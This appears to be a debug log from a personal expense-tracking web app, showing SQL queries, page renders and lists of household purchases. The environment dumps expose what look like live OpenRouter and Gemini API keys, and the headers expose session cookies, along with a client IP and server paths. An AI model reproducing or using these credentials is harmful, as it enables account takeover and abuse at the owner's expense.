  { id: 4, tag: 'Luxury' },
  { id: 5, tag: 'Needs' },
  { id: 6, tag: 'Swiggy' },
  { id: 7, tag: 'Zomato' },
  { id: 8, tag: 'Bills' },
  { id: 9, tag: 'EMIs' },
  { id: 10, tag: 'Blinkit' },
  { id: 11, tag: 'Instamart' }
]
2026-03-11T09:51:15.041Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 1955,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 1950 },
    current: 1,
    total: 79
  },
  data: [
    {
      invoice_number: 1239,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '189.00',
      item_name: 'Clothing',
      unit: 'Other'
    },
    {
      invoice_number: 1244,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '300.00',
      item_name: 'Gas Bill',
      unit: 'Other'
    },
    {
      invoice_number: 1237,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '95.00',
      item_name: 'App Subscription',
      unit: 'Other'
    },
    {
      invoice_number: 1238,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '348.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1240,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'fruits',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '72.00',
      item_name: 'Paneer',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '80.00',
      item_name: 'Paneer Masala',
      unit: 'Other'
    },
    {
      invoice_number: 1231,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '55.00',
      item_name: 'Milk',
      unit: 'Other'
    },
    {
      invoice_number: 1232,
      quantity: '2.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1233,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '585.00',
      item_name: 'Vegetables',
      unit: 'Other'
    },
    {
      invoice_number: 1234,
      quantity: '8.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '1432.00',
      item_name: 'HotWheels',
      unit: 'Piece'
    },
    {
      invoice_number: 1235,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '397.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1236,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '111.00',
      item_name: 'Online Order',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '118.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'Raw Chicken',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '30.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '120.00',
      item_name: 'Egg',
      unit: 'Other'
    },
    {
      invoice_number: 1243,
      quantity: '2.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '184.00',
      item_name: 'GoodKnight Liquid',
      unit: 'Piece'
    },
    {
      invoice_number: 1243,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '519.00',
      item_name: 'Pre workout muscle blaze',
      unit: 'Other'
    },
    {
      invoice_number: 1227,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '3818.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '20.00',
      item_name: 'Pani Puri',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '230.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1229,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '143.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1219,
      quantity: '2.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1220,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '125.00',
      item_name: 'HotWheels World',
      unit: 'Other'
    },
    {
      invoice_number: 1221,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '71.00',
      item_name: 'Vegetables',
      unit: 'Other'
    }
  ]
}
2026-03-11T09:51:15.961Z server-connect:router Serving templateView /collections
2026-03-11T09:51:15.961Z server-connect:app Executing action step identify
2026-03-11T09:51:15.961Z server-connect:app options: { provider: 'security' }
2026-03-11T09:51:15.961Z server-connect:output identity: 1
2026-03-11T09:51:15.961Z server-connect:app Executing action step restrict
2026-03-11T09:51:15.961Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-11T09:51:15.962Z server-connect:output restrict: undefined
2026-03-11T09:51:15.962Z server-connect:router Render template masters/collections
2026-03-11T09:51:15.962Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/collections',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"2850-vYhtWmaLPPra5IeVa3++XLjoeng"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AnquQYtB8MwGB0NUuBHEOpw%3D%3D.amBWuHpKtzm2ErZLMNjwktxKryZ462FWof%2FloUWxaMKT30RtwvTiVp3jFGxAzzkeCOrg5Fjq4vUniFWLVqSWEtYw7sGOqsCrJhqHweG%2BU4AuMSLsFKVRTMgiuJf9pbTNZhMPc1%2Fj1pQUd71RaSw3Y8kcIgoDeCIKp%2FyNzZy71hs%3D.lSv6XfKLCATA0vb3Mgyv7WfuIG5pQmAgtAASuuLw25Q; your_r_git.sid=s%3As0FBAyPiHp7znHIJhjbQlbUQWX4ArlYm.ENKBy5cqLhjosiXQSE%2BwJZfT8TCgwA3aISUtAqW%2FPoQ',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-12T09:47:56.714Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/collections',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/collections',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/collections',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"2850-vYhtWmaLPPra5IeVa3++XLjoeng"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AnquQYtB8MwGB0NUuBHEOpw%3D%3D.amBWuHpKtzm2ErZLMNjwktxKryZ462FWof%2FloUWxaMKT30RtwvTiVp3jFGxAzzkeCOrg5Fjq4vUniFWLVqSWEtYw7sGOqsCrJhqHweG%2BU4AuMSLsFKVRTMgiuJf9pbTNZhMPc1%2Fj1pQUd71RaSw3Y8kcIgoDeCIKp%2FyNzZy71hs%3D.lSv6XfKLCATA0vb3Mgyv7WfuIG5pQmAgtAASuuLw25Q; your_r_git.sid=s%3As0FBAyPiHp7znHIJhjbQlbUQWX4ArlYm.ENKBy5cqLhjosiXQSE%2BwJZfT8TCgwA3aISUtAqW%2FPoQ',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-03-11T09:51:16.233Z server-connect:router Serving serverConnect /api/masters/collections/collection-category
2026-03-11T09:51:16.233Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-03-11T09:51:16.234Z server-connect:app Executing action step identify
2026-03-11T09:51:16.234Z server-connect:app options: { provider: 'security' }
2026-03-11T09:51:16.234Z server-connect:output identity: 1
2026-03-11T09:51:16.234Z server-connect:app Executing action step restrict
2026-03-11T09:51:16.234Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-11T09:51:16.234Z server-connect:app Executing action step identify
2026-03-11T09:51:16.234Z server-connect:app options: { provider: 'security' }
2026-03-11T09:51:16.234Z server-connect:output identity: 1
2026-03-11T09:51:16.234Z server-connect:app Executing action step restrict
2026-03-11T09:51:16.234Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-11T09:51:16.235Z server-connect:output restrict: undefined
2026-03-11T09:51:16.235Z server-connect:app Executing action step select
2026-03-11T09:51:16.235Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'collection_type' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `name` from `collection_type` where `collection_type`.`deleted` = ?'
  }
}
2026-03-11T09:51:16.236Z server-connect:output restrict: undefined
2026-03-11T09:51:16.236Z server-connect:app Executing action step paged
2026-03-11T09:51:16.236Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-03-11T09:51:16.236Z server-connect:output list: [
  { id: 1, name: 'Unit' },
  { id: 2, name: 'Transaction Type' },
  { id: 3, name: 'Account Type' },
  { id: 4, name: 'Loan Mode' },
  { id: 5, name: 'Account Transactions' },
  { id: 6, name: 'Trading Platform' },
  { id: 7, name: 'Loan Type' },
  { id: 8, name: 'Supplement Brand' },
  { id: 9, name: 'Diecast Brand' },
  { id: 10, name: 'Diecast Series' },
  { id: 11, name: 'Vehicle Brand' }
]
2026-03-11T09:51:16.238Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 194,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 175 },
    current: 1,
    total: 8
  },
  data: [
    {
      name: 'Account Deposit',
      id: 19,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Salary Credit',
      id: 20,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'ATM Withdrawal',
      id: 21,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Account Transfer',
      id: 22,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Credit Card Payment',
      id: 25,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Card Swipe',
      id: 26,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Direct Payment',
      id: 38,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Auto Debit',
      id: 39,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Savings',
      id: 14,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Current',
      id: 15,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Petty Cash',
      id: 18,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Credit Card',
      id: 24,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Demat',
      id: 43,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Hotwheels',
      id: 71,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Majorette',
      id: 72,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Matchbox',
      id: 73,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Bburago',
      id: 74,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Maisto',
      id: 143,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'CCA',
      id: 158,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Jams Toys',
      id: 191,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-03-11T09:51:19.862Z server-connect:router Serving templateView /expense/list
2026-03-11T09:51:19.862Z server-connect:app Executing action step identify
2026-03-11T09:51:19.862Z server-connect:app options: { provider: 'security' }
2026-03-11T09:51:19.862Z server-connect:output identity: 1
2026-03-11T09:51:19.862Z server-connect:app Executing action step restrict
2026-03-11T09:51:19.862Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-11T09:51:19.863Z server-connect:output restrict: undefined
2026-03-11T09:51:19.863Z server-connect:router Render template expense/list
2026-03-11T09:51:19.863Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/expense/list',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"2b68-B9oZT3XHQSJEbivxBfqAVC9dYcw"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AnquQYtB8MwGB0NUuBHEOpw%3D%3D.amBWuHpKtzm2ErZLMNjwktxKryZ462FWof%2FloUWxaMKT30RtwvTiVp3jFGxAzzkeCOrg5Fjq4vUniFWLVqSWEtYw7sGOqsCrJhqHweG%2BU4AuMSLsFKVRTMgiuJf9pbTNZhMPc1%2Fj1pQUd71RaSw3Y8kcIgoDeCIKp%2FyNzZy71hs%3D.lSv6XfKLCATA0vb3Mgyv7WfuIG5pQmAgtAASuuLw25Q; your_r_git.sid=s%3As0FBAyPiHp7znHIJhjbQlbUQWX4ArlYm.ENKBy5cqLhjosiXQSE%2BwJZfT8TCgwA3aISUtAqW%2FPoQ',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-12T09:47:56.714Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/expense/list',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/expense/list',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/expense/list',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"2b68-B9oZT3XHQSJEbivxBfqAVC9dYcw"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AnquQYtB8MwGB0NUuBHEOpw%3D%3D.amBWuHpKtzm2ErZLMNjwktxKryZ462FWof%2FloUWxaMKT30RtwvTiVp3jFGxAzzkeCOrg5Fjq4vUniFWLVqSWEtYw7sGOqsCrJhqHweG%2BU4AuMSLsFKVRTMgiuJf9pbTNZhMPc1%2Fj1pQUd71RaSw3Y8kcIgoDeCIKp%2FyNzZy71hs%3D.lSv6XfKLCATA0vb3Mgyv7WfuIG5pQmAgtAASuuLw25Q; your_r_git.sid=s%3As0FBAyPiHp7znHIJhjbQlbUQWX4ArlYm.ENKBy5cqLhjosiXQSE%2BwJZfT8TCgwA3aISUtAqW%2FPoQ',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-03-11T09:51:20.141Z server-connect:router Serving serverConnect /api/expense/list
2026-03-11T09:51:20.141Z server-connect:app Executing action step identify
2026-03-11T09:51:20.141Z server-connect:app options: { provider: 'security' }
2026-03-11T09:51:20.141Z server-connect:output identity: 1
2026-03-11T09:51:20.141Z server-connect:app Executing action step restrict
2026-03-11T09:51:20.141Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-11T09:51:20.142Z server-connect:output restrict: undefined
2026-03-11T09:51:20.142Z server-connect:app Executing action step paged
2026-03-11T09:51:20.142Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'expense' },
    primary: 'id',
    joins: [ [Object], [Object] ],
    query: 'select `expense`.`invoice_number`, `expense`.`quantity`, `expense`.`purchase_date`, `expense`.`receipt_url`, `expense`.`remark`, `expense`.`amount`, `sc`.`subcategory_name` as `item_name`, `c1`.`name` as `unit` from `expense` inner join `sub_categories` as `sc` on `sc`.`id` = `expense`.`category_id` inner join `collections` as `c1` on `c1`.`id` = `expense`.`unit` where (`expense`.`amount` = ? or `sc`.`subcategory_name` like ? or `c1`.`name` like ?) order by `expense`.`purchase_date` DESC',
    orders: [ [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-03-11T09:51:20.148Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 1955,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 1950 },
    current: 1,
    total: 79
  },
  data: [
    {
      invoice_number: 1239,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '189.00',
      item_name: 'Clothing',
      unit: 'Other'
    },
    {
      invoice_number: 1244,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '300.00',
      item_name: 'Gas Bill',
      unit: 'Other'
    },
    {
      invoice_number: 1237,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '95.00',
      item_name: 'App Subscription',
      unit: 'Other'
    },
    {
      invoice_number: 1238,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '348.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1240,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'fruits',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '72.00',
      item_name: 'Paneer',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '80.00',
      item_name: 'Paneer Masala',
      unit: 'Other'
    },
    {
      invoice_number: 1231,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '55.00',
      item_name: 'Milk',
      unit: 'Other'
    },
    {
      invoice_number: 1232,
      quantity: '2.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1233,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '585.00',
      item_name: 'Vegetables',
      unit: 'Other'
    },
    {
      invoice_number: 1234,
      quantity: '8.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '1432.00',
      item_name: 'HotWheels',
      unit: 'Piece'
    },
    {
      invoice_number: 1235,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '397.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1236,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '111.00',
      item_name: 'Online Order',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '118.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'Raw Chicken',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '30.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '120.00',
      item_name: 'Egg',
      unit: 'Other'
    },
    {
      invoice_number: 1243,
      quantity: '2.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '184.00',
      item_name: 'GoodKnight Liquid',
